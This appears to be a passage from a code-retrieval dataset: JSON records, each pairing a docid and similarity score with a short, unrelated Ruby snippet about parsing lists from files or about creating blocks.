"text": "def file_2_list(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\tlist=Array.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tlist.push(line.chomp.strip)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn list\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e0db0b4b76f96d3f733cccb6835d90ef",
"score": "0.475051",
"text": "def read_feeds(fname)\r\n File.foreach(fname) {|line| process_feed(line.split(',')[0], line.split(',')[1], line.split(',')[2], line.split(',')[3])}\r\n end",
"title": ""
},
{
"docid": "865f53e9f337174883224d079b8a6832",
"score": "0.4738825",
"text": "def read_pkglist(filename)\n\tpkg_list = Array.new\n\tf = File.new(filename)\n\tbegin\n\t\twhile (line = f.readline)\n\t\t\t# line.chomp\n\t\t\t# $stdout.print line if line =~ /blue/\n\t\t\trawline = line.strip\n\t\t\tunless rawline == \"\"\n\t\t\t\trawtoks = rawline.split\n\t\t\t\tpkg_list.push(rawtoks[0]) unless rawtoks[0] =~ /^#/\n\t\t\tend\n\t\tend\n\trescue EOFError\n\t\tf.close\n\tend\n\treturn pkg_list\nend",
"title": ""
},
{
"docid": "6e9b0e6c4e1e60140197b6798790f35c",
"score": "0.47217828",
"text": "def fls(file)\n end",
"title": ""
},
{
"docid": "71bb06a6b7abf9d0b24edbc8b0947711",
"score": "0.47212467",
"text": "def load_list filename\n\tlist = []\n\tbegin\n\t\topen filename do |f|\n\t\t\tuntil (line = f.gets).nil?\n\t\t\t\tnext if line.strip.empty?\n\t\t\t\tlist << line.strip\n\t\t\tend\n\t\tend\n\trescue Errno::ENOENT\n\tend\n\tlist\nend",
"title": ""
},
{
"docid": "076ad1744280259c1807a8a73d62588b",
"score": "0.47100267",
"text": "def parse(list)\n list.gsub(/[^\\w\\ ,]+/, '').squeeze(\" \").downcase.split(\",\").map(&:strip).reject { |s| s.blank? }.uniq\n end",
"title": ""
},
{
"docid": "e51929a317fcdbc344ad8fd591586827",
"score": "0.47083947",
"text": "def initialize(raw_ls_line,\n basename: nil,\n type: nil,\n mtime: nil,\n filesize: nil,\n server_type: nil,\n symlink_destination: nil) #:nodoc:\n @raw = raw_ls_line.respond_to?(:force_encoding) ? raw_ls_line.force_encoding('utf-8') : raw_ls_line\n @basename = basename || ''\n @type = type\n @mtime = mtime || Time.now\n @filesize = filesize || 0\n @server_type = server_type || 'Unknown'\n @symlink_destination = symlink_destination\n end",
"title": ""
},
{
"docid": "8e1ad99aee2fc553fbd68a4d6461e4a1",
"score": "0.47020516",
"text": "def parse(list)\n return list if list.is_a?(Array)\n list.include?(',') ? parse_with_commas(list) : parse_with_spaces(list)\n end",
"title": ""
},
{
"docid": "bac26af6f0bea62d74e19d32b3484cce",
"score": "0.4698079",
"text": "def list_entry\n cursor(pos_list_entry).name(\"list\") do |c|\n Innodb::List.get_node(c)\n end\n end",
"title": ""
},
{
"docid": "9f64297b554dde4412a17c3828511f4f",
"score": "0.46958253",
"text": "def update_list(list_name, text)\n update_value(\"#{list_name}-list\", text)\n end",
"title": ""
},
{
"docid": "fcb35a8c5b1ded2ec897d5bc84dbb027",
"score": "0.46853748",
"text": "def tokenize(list)\n result = []\n list.each_with_index do |str, i|\n newstr = str.dup\n if newstr.gsub(/\\A\\s+/, '').start_with?(@inst_entry)\n token = [:nil]\n syntax.each do |(symbol, regexp, tokenfix)|\n if mtchdata = str.match(regexp)\n token = [symbol, tokenfix.(mtchdata)]\n break\n end\n end\n else\n token = [:data, newstr]\n end\n result << { line: i, raw: str, token: token }\n end\n return result\n end",
"title": ""
},
{
"docid": "287b5ffcfdd19f381440b789a7eec09c",
"score": "0.46805808",
"text": "def test_run_list_input\n T2Server::Run.create($uri, WKF_LISTS, $creds, $conn_params) do |run|\n many = [[[\"boo\"]], [[\"\", \"Hello\"]], [], [[], [\"test\"], []]]\n single = [1, 2, 3, 4, 5]\n single_out = single.map { |v| v.to_s } # Taverna outputs strings!\n\n run.input_port(\"SINGLE_IN\").value = single\n run.input_port(\"MANY_IN\").value = many\n assert_nothing_raised { run.start }\n assert(run.running?)\n run.wait\n\n assert_equal(run.output_port(\"MANY\").value, many)\n assert_equal(run.output_port(\"SINGLE\").value, single_out)\n\n # get zip file of a single port and test streaming\n assert_nothing_raised(T2Server::T2ServerError) do\n zip_out = run.output_port(\"MANY\").zip\n assert_not_equal(zip_out, \"\")\n end\n\n assert_nothing_raised(T2Server::T2ServerError) do\n zip_cache = TestCache.new\n run.output_port(\"MANY\").zip(zip_cache)\n end\n\n assert(run.delete)\n end\n end",
"title": ""
},
{
"docid": "b6c6a9f95d27e822b438e82913db7f02",
"score": "0.4676631",
"text": "def parse( line )\r\n line.split(';')\r\nend",
"title": ""
},
{
"docid": "222c1e5aeb724b83ae896632e376ce6d",
"score": "0.46741453",
"text": "def parsed_file\n data.split(\"\\n\").map do |line|\n line.split(' ')\n end\n end",
"title": ""
},
{
"docid": "25b320a5c6520d0c420134cc0c81fdb8",
"score": "0.46643573",
"text": "def parse_first_list_line(indentation, content); end",
"title": ""
},
{
"docid": "902a147f2715bd42bbce1bfa9ecbfbbf",
"score": "0.46548432",
"text": "def mailbox_list(str, opt)\n ret = []\n split_by(Tokenizer.token(str), \",\").each do |m|\n if a1 = m.index(\"<\") and a2 = m.rindex(\">\") and a2 > a1 then\n display_name = m[0..a1-1].join(\" \")\n if opt[:decode_mime_header] then\n display_name = RFC2047.decode(display_name, opt)\n end\n mailaddr = _conv(m[a1+1..a2-1].join, opt)\n local_part, domain = mailaddr.split(/@/, 2)\n ret << RFC2822::Mailbox.new(RFC2822::AddrSpec.new(local_part, domain), _conv(display_name, opt))\n else\n local_part, domain = _conv(m.join, opt).split(/@/, 2)\n ret << RFC2822::Mailbox.new(RFC2822::AddrSpec.new(local_part, domain))\n end\n end\n return ret\n end",
"title": ""
},
{
"docid": "5400ce9e99f0e885c121794fe97efe8b",
"score": "0.46513388",
"text": "def list_2_file (list,file)\n\t\tputs \"Save list #{list} to plain file #{file}\" if @verbose\n\t\tbegin\n\t\t\tf = File.open(file, \"w\")\n\t\t\tlist.map do |ent|\n\t\t\t\t#ent.strip!\n\t\t\t\t# Append the unix line break\n\t\t\t\tf.write(\"#{ent}\\n\")\n\t\t\tend\n\t\t\tf.close\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{file}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2a5dd9fda1a076e55bf8bbffa834a8d5",
"score": "0.46497265",
"text": "def list\n ret = get()\n return [] if ret.is_a? Hash and ret.has_key? :error\n ret.map{|i| FileItem.new(i)}\n end",
"title": ""
},
{
"docid": "de2bb10d4aa0f5d770680a1693b8cb7f",
"score": "0.46414316",
"text": "def flists(fname)\n if fexistf fname\n return eval \"$#{fname}['#{fname},slots'].to_a\"\n else\n return []\n end\nend",
"title": ""
},
{
"docid": "b2812ddef7de6c6ca8cd45afc0afbb97",
"score": "0.4640627",
"text": "def parse_config(rehash)\n open_config() if rehash\n @opers = []\n @ulines = []\n @options = {}\n \n while true\n line = @f.gets(\"\\n\")\n break if line == nil\n line.chomp!()\n next if line.empty?() || line[0] == '#'\n # O:lines need special treatment because of IPv6\n fields = []\n fields = line.split(':')\n if line.start_with?('O') && fields.length > ArgumentCount['O']\n uh = fields[1..-4].join(':')\n fields.insert(uh)\n end\n char = fields.shift()\n seen = []\n\n # In case we remove *:lines at some point, be backwards-compatible.\n if ArgumentCount[char] == nil\n puts(\"Warning: I have no idea how to parse a #{char}:line.\")\n next\n end\n\n if ArgumentCount[char] != fields.length\n raise(InvalidConfigurationFieldCountException,\n \"#{char}:line needs #{ArgumentCount[char]} args, got #{fields.length}.\")\n end\n\n case char\n when 'M'\n next if rehash\n @server = Server.new(fields[5], fields[0], fields[2])\n @vhost = fields[1]\n @bot = {'nick' => fields[3], 'ident' => fields[4], 'host' => fields[0]}\n when 'O'\n @opers.push(Oper.new(fields[0], fields[1], fields[2], fields[3]))\n when 'U'\n @ulines.push(fields[0])\n when 'C'\n next if rehash\n @uplink = {'host' => fields[0], 'password' => fields[1],\n 'port' => fields[2].to_i(), 'ssl' => (fields[3] == 'true')}\n when 'L'\n @levels = {'oper' => fields[0], 'admin' => fields[1]}\n when 'F'\n val = fields[1]\n val = (fields[1] == 'true') if BooleanOptions.include?(fields[0])\n @options[fields[0]] = val\n end\n end\n\n @options['logchan'] = '*' if @options['logchan'] == nil\n end",
"title": ""
},
{
"docid": "333916ec4643b327ddf1ab139ffcfd93",
"score": "0.4639979",
"text": "def list(options)\n file = File.open(FILE_PATH, \"r\")\n servers = []\n file.each do |line|\n if line.include?(\"Host \")\n servers << line.sub('Host', '')\n end\n end\n file.close\n if servers.empty?\n PRINTER.print \"No aliases added\"\n else\n PRINTER.print \"Listing aliases:\"\n servers.each{|x| PRINTER.print \"\\t- #{x}\"}\n end\n finish_exec\n end",
"title": ""
},
{
"docid": "d7c1b0759b7082e59b48ade121b08b31",
"score": "0.4630551",
"text": "def maillist_prod\n maillist_parse(maillist_prod_file)\n end",
"title": ""
},
{
"docid": "3a76d79f4f4947b61d3e568e31275cb6",
"score": "0.46284923",
"text": "def parse(output)\n lines = output.strip.split(\"\\n\").drop(1)\n lines.map do |line|\n JobInfo.new(*(line.split(\"|\", 6)))\n end\n end",
"title": ""
},
{
"docid": "a0aa97941065137577ceae8aa572789a",
"score": "0.46248323",
"text": "def list(name, entries)\n values = entries[0..11].collect do |item|\n {\"listItem\" => item}\n end\n\n push(name, {\"list\" => values})\n end",
"title": ""
},
{
"docid": "557be17c4fa2ef28f8f18c782817c0b1",
"score": "0.46233967",
"text": "def parse args=ARGV\n\t\t\tOptionParser.new do |opts|\n\t\t\t\t# Setup\n\t\t\t\tversion_path = File.expand_path('../../VERSION', File.dirname(__FILE__))\n\t\t\t\topts.version = File.exist?(version_path) ? File.read(version_path) : ''\n\t\t\t\t# Start of help text\n\t\t\t\topts.banner = 'Usage: tracking [mode]'\n\t\t\t\topts.separator ' display recent tasks'\n\t\t\t\topts.separator ' <task description> start a new task with the given text (spaces allowed)'\n\t\t\t\t# Modes\n\t\t\t\topts.on('-f', '--find', 'display all tasks that match a search query') do\n\t\t\t\t\tdisplay(:query => text_from_args)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-a', '--all', 'display all tasks') do\n\t\t\t\t\tdisplay(:max => :all)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-n', '--number integer', 'display n tasks') do |number_str|\n\t\t\t\t\tdisplay(:max => number_str.to_i)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-r', '--rename', 'rename the last task') do\n\t\t\t\t\tList.rename text_from_args\n\t\t\t\t\tdisplay\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-d', '--delete', 'delete the last task') do\n\t\t\t\t\tList.delete\n\t\t\t\t\tdisplay\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-c', '--clear', 'delete all tasks') do\n\t\t\t\t\tList.clear\n\t\t\t\t\tputs 'List cleared.'\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-h', '--help', 'display this help information') do\n\t\t\t\t\tputs opts\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend.parse! args\n\n\t\t\t# Basic modes (display and add)\n\t\t\tif args.count == 0\n\t\t\t\t# Display all tasks\n\t\t\t\tdisplay\n\t\t\telse\n\t\t\t\t# Start a new task\n\t\t\t\tList.add args.join(' ').gsub(\"\\t\",'')\n\t\t\t\tdisplay\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "91a683de8e25f9cccb56d20c9b9b46c1",
"score": "0.46193933",
"text": "def parse\n emails = @email_list.scan(/\\w+@\\w+.\\w+/)\n emails.uniq\n end",
"title": ""
},
{
"docid": "62d5c7aed4aeae9d96311f8d5cf98d65",
"score": "0.46121514",
"text": "def do_list(args)\n if args[\"zonename\"] == \"example.com\"\n @result = [\n record(\"example.com\", \"SOA\", \"sns.dns.icann.org noc.dns.icann.org 2013012485 7200 3600 1209600 3600\"),\n record(\"example.com\", \"NS\", \"sns.dns.icann.org\"),\n record_prio(\"example.com\", \"MX\", \"test.example.com\",10),\n record(\"test.example.com\", \"A\", \"127.0.0.1\")\n ]\n end\n end",
"title": ""
},
{
"docid": "a6c245e9094e9f101ada5476b7537c64",
"score": "0.4610093",
"text": "def parse_msg_id_list(str, opt={})\n msg_id_list(str, opt)\n end",
"title": ""
},
{
"docid": "ac467f5b162eac34ba7a3c2566f62e7a",
"score": "0.46086454",
"text": "def label_with_wildcard_to_list(label,parts)\n if !problems_csv_has_been_read then fatal_error(\"in label_with_wildcard_to_list, problems csv has not been read\") end\n list = []\n l = label.clone\n l.gsub!(/\\.\\.\\./,\"__WILD__\")\n l = Regexp::quote(l) # escape - characters\n l.gsub!(/__WILD__/,\".*\")\n re = Regexp::new(\"\\\\A#{l}\\\\Z\")\n $label_to_num.each { |ll,value|\n if ll=~re then list.push(value + [parts]) end\n }\n if list.length==0 then fatal_error(\"pattern #{label}, containing wildcard ..., doesn't match any labels\") end\n return list\nend",
"title": ""
},
{
"docid": "6bad1760a8cc374bc02f1aea6ec55c36",
"score": "0.46000922",
"text": "def label_to_list(label,parts)\n if !problems_csv_has_been_read then fatal_error(\"in label_to_list, problems csv has not been read\") end\n unless label=~/\\A[a-zA-Z0-9\\-\\._]*\\Z/ then fatal_error(\"label #{label} contains illegal characters; legal ones are a-z, A-Z, 0-9, -, _\") end\n # ... don't allow characters that could be confused with regexp; but do allow -, which is regexp meta char\n # don't want confusion with regexps, because that's how we handle ... wildcard\n # --- for efficiency and clearer error messages, handle the no-wildcard case separately\n if label=~Regexp::new(Regexp::quote(\"...\")) then\n return label_with_wildcard_to_list(label,parts)\n else\n return label_without_wildcard_to_list(label,parts)\n end\nend",
"title": ""
},
{
"docid": "089f9c93ebbdaf38e1dfb1ee473bd64e",
"score": "0.4573649",
"text": "def initialize(list_as_string)\n @list = list_as_string.split(/,/)\n end",
"title": ""
},
{
"docid": "ee7951524f09a3817384aaf28db9e4c6",
"score": "0.45683256",
"text": "def parse_input source, options\n entries = if source.match /^http/\n http = Atom::HTTP.new\n\n setup_http http, options\n\n http_to_entries source, options[:complete], http\n elsif source == '-'\n stdin_to_entries\n else\n dir_to_entries source\n end\n\n if options[:verbose]\n entries.each do |entry|\n puts \"got #{entry.title}\"\n end\n end\n\n entries\n end",
"title": ""
},
{
"docid": "24b21652f3ea86fe985c1a05e415e758",
"score": "0.45665768",
"text": "def tasklist_contents\n if tasklist.nil? then\n return\n elsif tasklist =~ /^\\s*\\d+\\s*(,\\s*\\d+\\s*)*$/ && tasklist == $& then \n self.tasklist = self.tasklist.split(',').map{ |v| Integer(v) }.uniq.join(',')\n else\n errors.add( :base, I18n.t( 'permission4_flows.msg.bad_tasklist' ))\n end\n end",
"title": ""
},
{
"docid": "b4a8908350cb7d39160126ed7c1cc13d",
"score": "0.4562208",
"text": "def transform_list_items( str, rs )\n\t\t\[email protected] \" Transforming list items\"\n\n\t\t\t# Trim trailing blank lines\n\t\t\tstr = str.sub( /\\n{2,}\\z/, \"\\n\" )\n\t\t\tstr.gsub( ListItemRegexp ) {|line|\n\t\t\t\[email protected] \" Found item line %p\" % line\n\t\t\t\tleading_line, item = $1, $4\n\t\t\t\tseparating_lines = $5\n\n\t\t\t\tif leading_line or /\\n{2,}/.match(item) or not separating_lines.empty? then\n\t\t\t\t\[email protected] \" Found leading line or item has a blank\"\n\t\t\t\t\titem = apply_block_transforms( outdent(item), rs )\n\t\t\t\telse\n\t\t\t\t\t# Recursion for sub-lists\n\t\t\t\t\[email protected] \" Recursing for sublist\"\n\t\t\t\t\titem = transform_lists( outdent(item), rs ).chomp\n\t\t\t\t\titem = apply_span_transforms( item, rs )\n\t\t\t\tend\n\n\t\t\t\t%{<li>%s</li>\\n} % item\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "7c15190d64483ebab99de1208a0f3c8a",
"score": "0.45614076",
"text": "def ls( *args )\r\n \r\n directory = nil\r\n opts = {}\r\n \r\n case args.count\r\n when 1\r\n if args[0].kind_of? Hash\r\n opts = args[0]\r\n else\r\n directory = args[0]\r\n end\r\n when 2\r\n directory = args[0]\r\n opts = args[1] \r\n end\r\n \r\n # args are the RPC arguments ...\r\n args = {}\r\n args[:path] = directory if directory\r\n args[:recursive] = true if opts[:recurse]\r\n args[:detail] = true if opts[:detail] \r\n args.delete(:detail) if( args[:detail] and args[:recursive])\r\n \r\n # RPC output format, default is XML\r\n outf = { :format => 'text' } if opts[:format] == :text\r\n \r\n got = @ndev.rpc.file_list( args, outf )\r\n return nil unless got\r\n \r\n return got.text if opts[:format] == :text\r\n return got if opts[:format] == :xml\r\n \r\n # if we're here, then we need to conver the output \r\n # to a Hash. Joy!\r\n \r\n collect_detail = args[:detail] || args[:recursive]\r\n \r\n ls_hash = {}\r\n got.xpath('directory').each do |dir|\r\n \r\n dir_name = dir.xpath('directory-name').text.strip\r\n dir_hash = {}\r\n \r\n dir_hash[:fileblocks] = dir.xpath('total-file-blocks').text.to_i\r\n files_info = dir.xpath('file-information')\r\n \r\n dir_hash[:files] = {} \r\n dir_hash[:dirs] = {} # sub-directories\r\n \r\n files_info.each do |file|\r\n f_name = file.xpath('file-name').text.strip\r\n f_h = {} \r\n \r\n if file.xpath('file-directory')[0]\r\n dir_hash[:dirs][f_name] = f_h\r\n else\r\n dir_hash[:files][f_name] = f_h \r\n end\r\n \r\n next unless collect_detail\r\n \r\n f_h[:owner] = file.xpath('file-owner').text.strip\r\n f_h[:group] = file.xpath('file-group').text.strip\r\n f_h[:links] = file.xpath('file-links').text.to_i\r\n f_h[:size] = file.xpath('file-size').text.to_i\r\n \r\n xml_when_item(file.xpath('file-symlink-target')) { |i|\r\n f_h[:symlink] = i.text.strip\r\n }\r\n \r\n fp = file.xpath('file-permissions')[0]\r\n f_h[:permissions_text] = fp.attribute('format').value\r\n f_h[:permissions] = fp.text.to_i\r\n \r\n fd = file.xpath('file-date')[0]\r\n f_h[:date] = fd.attribute('format').value\r\n f_h[:date_epoc] = fd.text.to_i\r\n \r\n end # each directory file\r\n ls_hash[ dir_name ] = dir_hash \r\n end # each directory\r\n \r\n return nil if ls_hash.empty?\r\n ls_hash\r\n end",
"title": ""
},
{
"docid": "18de89eb0c3a0fdabd4a8d399a2f4e39",
"score": "0.45583373",
"text": "def lists\n lines.inject([]){ |lists, line| lists << split(line) }\n end",
"title": ""
},
{
"docid": "c548b1163542ca2685db92b71a0a7c28",
"score": "0.45560446",
"text": "def parse(input)\n taglists = []\n config_hash = {}\n file_hash = {}\n\n input = input.split(\"\\n\")\n section = ''\n input.each do |value|\n if value.match?(%r{^\\[.*\\]})\n section = value.delete('[').delete(']')\n file_hash[section.to_sym] = []\n elsif !value.strip.empty?\n if value.match?(%r{^\\s*#})\n # do nothing as this is a comment\n elsif section && (section != '')\n file_hash[section.to_sym] << value\n else\n raise Puppet::Error, 'Malformed tagmail.conf file'\n end\n end\n end\n\n file_hash[:transport]&.each do |value|\n array = value.split('=')\n array.map(&:strip!)\n config_hash[array[0].to_sym] = array[1]\n end\n\n if file_hash[:tagmap]\n tagmap = file_hash[:tagmap].join(\"\\n\")\n taglists = parse_tagmap(tagmap)\n end\n\n config_hash = load_defaults(config_hash)\n self.class.instance_variable_set(:@tagmail_conf, config_hash)\n taglists\n end",
"title": ""
},
{
"docid": "66af153f63058f2f4169026f1fc8a393",
"score": "0.45494547",
"text": "def tokenize input\n s = StringScanner.new input\n\n @line = 0\n @line_pos = 0\n\n until s.eos? do\n pos = s.pos\n\n @tokens << case\n when s.scan(/\\r?\\n/) then\n token = [:NEWLINE, s.matched, *token_pos(pos)]\n @line_pos = s.pos\n @line += 1\n token\n when s.scan(/ +/) then\n [:INDENT, s.matched_size, *token_pos(pos)]\n when s.scan(/(=+)\\s*/) then\n level = s[1].length\n level = 6 if level > 6\n @tokens << [:HEADER, level, *token_pos(pos)]\n\n pos = s.pos\n s.scan(/.*/)\n [:TEXT, s.matched, *token_pos(pos)]\n when s.scan(/^(-{3,}) *$/) then\n [:RULE, s[1].length - 2, *token_pos(pos)]\n when s.scan(/([*-])\\s+/) then\n @tokens << [:BULLET, :BULLET, *token_pos(pos)]\n [:SPACE, s.matched_size, *token_pos(pos)]\n when s.scan(/([a-z]|\\d+)\\.[ \\t]+\\S/i) then\n list_label = s[1]\n width = s.matched_size - 1\n\n s.pos -= 1 # unget \\S\n\n list_type = case list_label\n when /[a-z]/ then :LALPHA\n when /[A-Z]/ then :UALPHA\n when /\\d/ then :NUMBER\n else\n raise ParseError, \"BUG token #{list_label}\"\n end\n\n @tokens << [list_type, list_label, *token_pos(pos)]\n [:SPACE, width, *token_pos(pos)]\n when s.scan(/\\[(.*?)\\]( +|$)/) then\n @tokens << [:LABEL, s[1], *token_pos(pos)]\n [:SPACE, s.matched_size, *token_pos(pos)]\n when s.scan(/(.*?)::( +|$)/) then\n @tokens << [:NOTE, s[1], *token_pos(pos)]\n [:SPACE, s.matched_size, *token_pos(pos)]\n else s.scan(/.*/)\n [:TEXT, s.matched, *token_pos(pos)]\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "e404ebda0f7841f596aa5957ca72abb9",
"score": "0.4540076",
"text": "def list(**options)\n result = []\n\n search = options[:pattern].to_s.downcase\n group = options[:group].to_s.downcase\n\n @data.each do |item|\n next if item.empty?\n next unless group.empty? || group.eql?(item.group.to_s.downcase)\n\n host = item.host.to_s.downcase\n comment = item.comment.to_s.downcase\n\n next unless host =~ /^.*#{search}.*$/ || comment =~ /^.*#{search}.*$/\n\n result.push(item)\n end\n\n result\n end",
"title": ""
},
{
"docid": "049bced6363f867dfe001dc87d8c0cdb",
"score": "0.4535658",
"text": "def transform_lists( str, rs )\n\t\t\[email protected] \" Transforming lists at %p\" % (str[0,100] + '...')\n\n\t\t\tstr.gsub( ListRegexp ) {|list|\n\t\t\t\[email protected] \" Found list %p\" % list\n\t\t\t\tbullet = $1\n\t\t\t\tlist_type = (ListMarkerUl.match(bullet) ? \"ul\" : \"ol\")\n\n\t\t\t\t%{<%s>\\n%s</%s>\\n} % [\n\t\t\t\t\tlist_type,\n\t\t\t\t\ttransform_list_items( list, rs ),\n\t\t\t\t\tlist_type,\n\t\t\t\t]\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "48a0f5afe760b05ba96c0b16efd35a81",
"score": "0.45299214",
"text": "def list(c=nil)\n @socket << \"LIST #{c}\".strip\n end",
"title": ""
},
{
"docid": "9dbd78c242e96b1c44d290190925ea24",
"score": "0.45281604",
"text": "def parseWebServerLine(raw_line)\n\ttokens = /^(\\S+) (\\S+) (\\S+) \\[(\\S+ \\+\\d{4})\\] \"(\\S+ \\S+ [^\"]+)\" (\\d{3}) (\\d+|-) \"(.*?)\" \"([^\"]+)\"$/.match(raw_line).to_a\n\treturn tokens\nend",
"title": ""
},
{
"docid": "43e0923ef15526ae1fcc17641da7de63",
"score": "0.45221645",
"text": "def get_user_ids(fname=\"../id_list\")\n file = File.open(fname, \"r\")\n ids = []\n file.each do |line|\n ids += [Integer(line.split(\":\")[1].strip())]\n end\n file.close() \n return ids\nend",
"title": ""
}
] |
dcc7c78e430244159d1f89225b512a78
|
Shortcut for creating blocks
|
[
{
"docid": "53e7af5cf57bb4589ba1fbb30b112625",
"score": "0.75121313",
"text": "def __create_block(name, location = nil, &block)\n Bade::Runtime::Block.new(name, location, self, &block)\n end",
"title": ""
}
] |
[
{
"docid": "f0724c094e43ae15560f3d52210bed1c",
"score": "0.7632845",
"text": "def new_block name\n new_b = Block.new( name , @function , @next )\n @next = new_b\n return new_b\n end",
"title": ""
},
{
"docid": "edd4b105a06f76a72191872de9768a79",
"score": "0.7576588",
"text": "def build_basic_blocks; end",
"title": ""
},
{
"docid": "21c0d537b9de21be82c535475c112a83",
"score": "0.7547184",
"text": "def new_block(x, y, z, a, b)\n @chain.push(Block.new(x, y, z, a, b))\n end",
"title": ""
},
{
"docid": "1eb388a2b9b65682b40dc2bef82f9e9e",
"score": "0.7503639",
"text": "def create_blocks(count)\n (0...count).to_a.map { create_block }\n end",
"title": ""
},
{
"docid": "0993287632f69873b50917891718e738",
"score": "0.73778266",
"text": "def block_style_block(factory, cmd)\n factory.programbox() {\n text \"Running code from a block\"\n height 15\n width 30\n command {\n puts 'foo block'\n sleep 2\n puts 'bar block'\n sleep 2\n puts 'baz block'\n }\n }\nend",
"title": ""
},
{
"docid": "10fe9a1d7e5a1e955cba1f7e84dcb174",
"score": "0.73574245",
"text": "def block(options = {})\n @req.post(\"/1.1/blocks/create.json\", options)\n end",
"title": ""
},
{
"docid": "6d5315c59e31c2095c7642aa0a6fdb51",
"score": "0.73248196",
"text": "def blocks\n \n end",
"title": ""
},
{
"docid": "6d5315c59e31c2095c7642aa0a6fdb51",
"score": "0.73248196",
"text": "def blocks\n \n end",
"title": ""
},
{
"docid": "dd3b3d2f29d8c55c2d1d04265adbc9d1",
"score": "0.72758377",
"text": "def create_block(x, width, height)\n GameWindow.instance.game.addBlock(x, width, height)\nend",
"title": ""
},
{
"docid": "6b7679c120560bad3cb3e1823a7440a2",
"score": "0.72458607",
"text": "def blocks; end",
"title": ""
},
{
"docid": "6b7679c120560bad3cb3e1823a7440a2",
"score": "0.72458607",
"text": "def blocks; end",
"title": ""
},
{
"docid": "6b7679c120560bad3cb3e1823a7440a2",
"score": "0.72458607",
"text": "def blocks; end",
"title": ""
},
{
"docid": "e6fda2318cbf873bad7793a6c957abfa",
"score": "0.7194217",
"text": "def blocks; MultiBlock; end",
"title": ""
},
{
"docid": "97856996239a133ce18a78e8ba569f5f",
"score": "0.7148536",
"text": "def new_block new_name\n new_b = Block.new( new_name , @blocks.first.method )\n index = @blocks.index( @current )\n @blocks.insert( index + 1 , new_b ) # + one because we want the ne after the insert_at\n return new_b\n end",
"title": ""
},
{
"docid": "239cd8515dda661467091f8cb42cb993",
"score": "0.7121093",
"text": "def instantiate_sub_blocks(options = {})\n sub_block :block, class_name: 'OrigenAhbDev::BLOCK', base_address: 0x2200_0000\n end",
"title": ""
},
{
"docid": "8fb7b8b288bc1234acbcfd2afc38e46f",
"score": "0.7085426",
"text": "def create_block(name = 'B' + (@block_counter += 1).to_s)\n result = BasicBlock.new(name)\n @graph.add_vertex result\n result\n end",
"title": ""
},
{
"docid": "003f60f8bd1764650865fa6ade7ea861",
"score": "0.7034467",
"text": "def start_block(name, args, lines)\n\t\tend",
"title": ""
},
{
"docid": "ac309ded3abb1014562c3b74a06bbdfc",
"score": "0.7026285",
"text": "def create_block( name, *permutation_sources )\n # Sanity check we aren't trying to create one of the reserved symbolic blocks.\n if( name == 'begin' or name == 'end' )\n raise RuntimeError, \"Unable to add block, '#{name}' is a reserved block name.\"\n end\n # If this is the first time this block is being created, create the block object to hold the permutation list\n if( not @blocks[name] )\n @blocks[name] = Block.new( name )\n end\n # Now create a new permutation object for every one supplied.\n permutation_sources.each do | source |\n @blocks[name] << Permutation.new( name, '', self, source )\n end\n return name\n end",
"title": ""
},
{
"docid": "d4b383b5c1ecb9bebf31c325bfdce3ba",
"score": "0.70046246",
"text": "def new_block new_name\n new_b = Block.new( new_name , self )\n index = @blocks.index( @current )\n @blocks.insert( index + 1 , new_b ) # + one because we want the ne after the insert_at\n return new_b\n end",
"title": ""
},
{
"docid": "48c9e77986555dfc02c228a71d7c3c6a",
"score": "0.6937767",
"text": "def <<(block)\n @blocks << block\n end",
"title": ""
},
{
"docid": "48c9e77986555dfc02c228a71d7c3c6a",
"score": "0.6937767",
"text": "def <<(block)\n @blocks << block\n end",
"title": ""
},
{
"docid": "7f04905c21f90d601f0d9a07558cb95f",
"score": "0.6894943",
"text": "def create_block(line)\r\n # Gather variables\r\n elements = line.split('|')\r\n line_num = elements[0]\r\n last_hash = elements[1]\r\n transactors = elements[2]\r\n time_val = elements[3]\r\n end_hash = elements[4]\r\n # Return Block made with variables\r\n Block.new(line_num, last_hash, transactors, time_val, end_hash)\r\n end",
"title": ""
},
{
"docid": "a7a62b3fcea4ff2985e2a26e93f6a4d0",
"score": "0.68749666",
"text": "def create_first_block\n\ti = 0\n\tinstance_variable_set(\"@b#{i}\", Block.first(\"Genesis\")) #Méta programmation\n\tLEDGER << @b0\n\tpp @b0\n\tadd_block\nend",
"title": ""
},
{
"docid": "f979302a5e06eccba98adc413ed282eb",
"score": "0.68663484",
"text": "def block(name); end",
"title": ""
},
{
"docid": "a4727132c96541e82c912b0ad68258a5",
"score": "0.6859455",
"text": "def BlockNode(opening, block_var, bodystmt); end",
"title": ""
},
{
"docid": "e73d6405b092734ad71dcfa81252839f",
"score": "0.68425715",
"text": "def make_block(first_night, last_night=first_night, array_of_rooms, discount)\n nights = date_range(first_night, last_night)\n check_block_array(array_of_rooms, nights)\n new_block = My_Hotel::Block.new(nights, array_of_rooms, discount)\n new_block.create_booking(@all_blocks)\n @all_blocks << new_block\n return new_block\n end",
"title": ""
},
{
"docid": "e464949b72428a0ab1ee30ed812c0ba2",
"score": "0.6817324",
"text": "def block\n \n end",
"title": ""
},
{
"docid": "d816aa7e614fbf6b8c1162e47f7ba22e",
"score": "0.6803163",
